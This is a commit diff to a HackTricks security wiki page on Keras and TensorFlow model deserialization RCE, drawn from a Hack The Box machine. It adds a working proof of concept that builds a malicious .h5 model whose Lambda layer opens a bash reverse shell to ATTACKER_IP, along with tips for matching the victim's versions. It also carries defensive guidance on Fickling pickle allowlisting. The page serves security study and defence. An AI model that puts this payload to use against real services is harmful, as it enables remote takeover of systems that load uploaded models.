Skip to content

Commit 1690e15

Browse files
authored
Merge pull request #1520 from HackTricks-wiki/update_HTB_Artificial__TensorFlow__h5_model_RCE___Backres_20251025_182452
HTB Artificial TensorFlow .h5 model RCE → Backrest creds lea...
2 parents 748fe9c + 036f998 commit 1690e15

File tree

1 file changed

+87
-60
lines changed

1 file changed

+87
-60
lines changed

src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md

Lines changed: 87 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,39 @@ Security improvements (Keras ≥ 3.9):
9191
- Safe mode default: safe_mode=True blocks unsafe Lambda serialized-function loading
9292
- Basic type checking: deserialized objects must match expected types
9393

94+
## Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE
95+
96+
Many production stacks still accept legacy TensorFlow-Keras HDF5 model files (.h5). If an attacker can upload a model that the server later loads or runs inference on, a Lambda layer can execute arbitrary Python on load/build/predict.
97+
98+
Minimal PoC to craft a malicious .h5 that executes a reverse shell when deserialized or used:
99+
100+
```python
101+
import tensorflow as tf
102+
103+
def exploit(x):
104+
import os
105+
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
106+
return x
107+
108+
m = tf.keras.Sequential()
109+
m.add(tf.keras.layers.Input(shape=(64,)))
110+
m.add(tf.keras.layers.Lambda(exploit))
111+
m.compile()
112+
m.save("exploit.h5") # legacy HDF5 container
113+
```
114+
115+
Notes and reliability tips:
116+
- Trigger points: code may run multiple times (e.g., during layer build/first call, model.load_model, and predict/fit). Make payloads idempotent.
117+
- Version pinning: match the victim’s TF/Keras/Python to avoid serialization mismatches. For example, build artifacts under Python 3.8 with TensorFlow 2.13.1 if that’s what the target uses.
118+
- Quick environment replication:
119+
120+
```dockerfile
121+
FROM python:3.8-slim
122+
RUN pip install tensorflow-cpu==2.13.1
123+
```
124+
125+
- Validation: a benign payload like os.system("ping -c 1 YOUR_IP") helps confirm execution (e.g., observe ICMP with tcpdump) before switching to a reverse shell.
126+
94127
## Post-fix gadget surface inside allowlist
95128

96129
Even with allowlisting and safe mode, a broad surface remains among allowed Keras callables. For example, keras.utils.get_file can download arbitrary URLs to user-selectable locations.
@@ -116,17 +149,63 @@ Gadget via Lambda that references an allowed function (not serialized Python byt
116149
Important limitation:
117150
- Lambda.call() prepends the input tensor as the first positional argument when invoking the target callable. Chosen gadgets must tolerate an extra positional arg (or accept *args/**kwargs). This constrains which functions are viable.
118151

119-
Potential impacts of allowlisted gadgets:
120-
- Arbitrary download/write (path planting, config poisoning)
121-
- Network callbacks/SSRF-like effects depending on environment
122-
- Chaining to code execution if written paths are later imported/executed or added to PYTHONPATH, or if a writable execution-on-write location exists
152+
## ML pickle import allowlisting for AI/ML models (Fickling)
153+
154+
Many AI/ML model formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow artifacts, etc.) embed Python pickle data. Attackers routinely abuse pickle GLOBAL imports and object constructors to achieve RCE or model swapping during load. Blacklist-based scanners often miss novel or unlisted dangerous imports.
155+
156+
A practical fail-closed defense is to hook Python’s pickle deserializer and only allow a reviewed set of harmless ML-related imports during unpickling. Trail of Bits’ Fickling implements this policy and ships a curated ML import allowlist built from thousands of public Hugging Face pickles.
157+
158+
Security model for “safe” imports (intuitions distilled from research and practice): imported symbols used by a pickle must simultaneously:
159+
- Not execute code or cause execution (no compiled/source code objects, shelling out, hooks, etc.)
160+
- Not get/set arbitrary attributes or items
161+
- Not import or obtain references to other Python objects from the pickle VM
162+
- Not trigger any secondary deserializers (e.g., marshal, nested pickle), even indirectly
163+
164+
Enable Fickling’s protections as early as possible in process startup so that any pickle loads performed by frameworks (torch.load, joblib.load, etc.) are checked:
165+
166+
```python
167+
import fickling
168+
# Sets global hooks on the stdlib pickle module
169+
fickling.hook.activate_safe_ml_environment()
170+
```
171+
172+
Operational tips:
173+
- You can temporarily disable/re-enable the hooks where needed:
174+
175+
```python
176+
fickling.hook.deactivate_safe_ml_environment()
177+
# ... load fully trusted files only ...
178+
fickling.hook.activate_safe_ml_environment()
179+
```
180+
181+
- If a known-good model is blocked, extend the allowlist for your environment after reviewing the symbols:
182+
183+
```python
184+
fickling.hook.activate_safe_ml_environment(also_allow=[
185+
"package.subpackage.safe_symbol",
186+
"another.safe.import",
187+
])
188+
```
189+
190+
- Fickling also exposes generic runtime guards if you prefer more granular control:
191+
- fickling.always_check_safety() to enforce checks for all pickle.load()
192+
- with fickling.check_safety(): for scoped enforcement
193+
- fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
194+
195+
- Prefer non-pickle model formats when possible (e.g., SafeTensors). If you must accept pickle, run loaders under least privilege without network egress and enforce the allowlist.
196+
197+
This allowlist-first strategy demonstrably blocks common ML pickle exploit paths while keeping compatibility high. In ToB’s benchmark, Fickling flagged 100% of synthetic malicious files and allowed ~99% of clean files from top Hugging Face repos.
198+
123199

124200
## Researcher toolkit
125201

126202
1) Systematic gadget discovery in allowed modules
127203

128204
Enumerate candidate callables across keras, keras_nlp, keras_cv, keras_hub and prioritize those with file/network/process/env side effects.
129205

206+
<details>
207+
<summary>Enumerate potentially dangerous callables in allowlisted Keras modules</summary>
208+
130209
```python
131210
import importlib, inspect, pkgutil
132211

@@ -170,6 +249,8 @@ for root in ALLOWLIST:
170249
print("\n".join(sorted(candidates)[:200]))
171250
```
172251

252+
</details>
253+
173254
2) Direct deserialization testing (no .keras archive needed)
174255

175256
Feed crafted dicts directly into Keras deserializers to learn accepted params and observe side effects.
@@ -199,61 +280,6 @@ Keras exists in multiple codebases/eras with different guardrails and formats:
199280

200281
Repeat tests across codebases and formats (.keras vs legacy HDF5) to uncover regressions or missing guards.
201282

202-
## Defensive recommendations
203-
204-
- Treat model files as untrusted input. Only load models from trusted sources.
205-
- Keep Keras up to date; use Keras ≥ 3.9 to benefit from allowlisting and type checks.
206-
- Do not set safe_mode=False when loading models unless you fully trust the file.
207-
- Consider running deserialization in a sandboxed, least-privileged environment without network egress and with restricted filesystem access.
208-
- Enforce allowlists/signatures for model sources and integrity checking where possible.
209-
210-
## ML pickle import allowlisting for AI/ML models (Fickling)
211-
212-
Many AI/ML model formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow artifacts, etc.) embed Python pickle data. Attackers routinely abuse pickle GLOBAL imports and object constructors to achieve RCE or model swapping during load. Blacklist-based scanners often miss novel or unlisted dangerous imports.
213-
214-
A practical fail-closed defense is to hook Python’s pickle deserializer and only allow a reviewed set of harmless ML-related imports during unpickling. Trail of Bits’ Fickling implements this policy and ships a curated ML import allowlist built from thousands of public Hugging Face pickles.
215-
216-
Security model for “safe” imports (intuitions distilled from research and practice): imported symbols used by a pickle must simultaneously:
217-
- Not execute code or cause execution (no compiled/source code objects, shelling out, hooks, etc.)
218-
- Not get/set arbitrary attributes or items
219-
- Not import or obtain references to other Python objects from the pickle VM
220-
- Not trigger any secondary deserializers (e.g., marshal, nested pickle), even indirectly
221-
222-
Enable Fickling’s protections as early as possible in process startup so that any pickle loads performed by frameworks (torch.load, joblib.load, etc.) are checked:
223-
224-
```python
225-
import fickling
226-
# Sets global hooks on the stdlib pickle module
227-
fickling.hook.activate_safe_ml_environment()
228-
```
229-
230-
Operational tips:
231-
- You can temporarily disable/re-enable the hooks where needed:
232-
233-
```python
234-
fickling.hook.deactivate_safe_ml_environment()
235-
# ... load fully trusted files only ...
236-
fickling.hook.activate_safe_ml_environment()
237-
```
238-
239-
- If a known-good model is blocked, extend the allowlist for your environment after reviewing the symbols:
240-
241-
```python
242-
fickling.hook.activate_safe_ml_environment(also_allow=[
243-
"package.subpackage.safe_symbol",
244-
"another.safe.import",
245-
])
246-
```
247-
248-
- Fickling also exposes generic runtime guards if you prefer more granular control:
249-
- fickling.always_check_safety() to enforce checks for all pickle.load()
250-
- with fickling.check_safety(): for scoped enforcement
251-
- fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
252-
253-
- Prefer non-pickle model formats when possible (e.g., SafeTensors). If you must accept pickle, run loaders under least privilege without network egress and enforce the allowlist.
254-
255-
This allowlist-first strategy demonstrably blocks common ML pickle exploit paths while keeping compatibility high. In ToB’s benchmark, Fickling flagged 100% of synthetic malicious files and allowed ~99% of clean files from top Hugging Face repos.
256-
257283
## References
258284

259285
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
@@ -262,11 +288,12 @@ This allowlist-first strategy demonstrably blocks common ML pickle exploit paths
262288
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
263289
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
264290
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
291+
- [HTB Artificial – TensorFlow .h5 Lambda RCE to root](https://0xdf.gitlab.io/2025/10/25/htb-artificial.html)
265292
- [Trail of Bits blog – Fickling’s new AI/ML pickle file scanner](https://blog.trailofbits.com/2025/09/16/ficklings-new-ai/ml-pickle-file-scanner/)
266293
- [Fickling – Securing AI/ML environments (README)](https://github.com/trailofbits/fickling#securing-aiml-environments)
267294
- [Fickling pickle scanning benchmark corpus](https://github.com/trailofbits/fickling/tree/master/pickle_scanning_benchmark)
268295
- [Picklescan](https://github.com/mmaitre314/picklescan), [ModelScan](https://github.com/protectai/modelscan), [model-unpickler](https://github.com/goeckslab/model-unpickler)
269296
- [Sleepy Pickle attacks background](https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/)
270297
- [SafeTensors project](https://github.com/safetensors/safetensors)
271298

272-
{{#include ../../banners/hacktricks-training.md}}
299+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)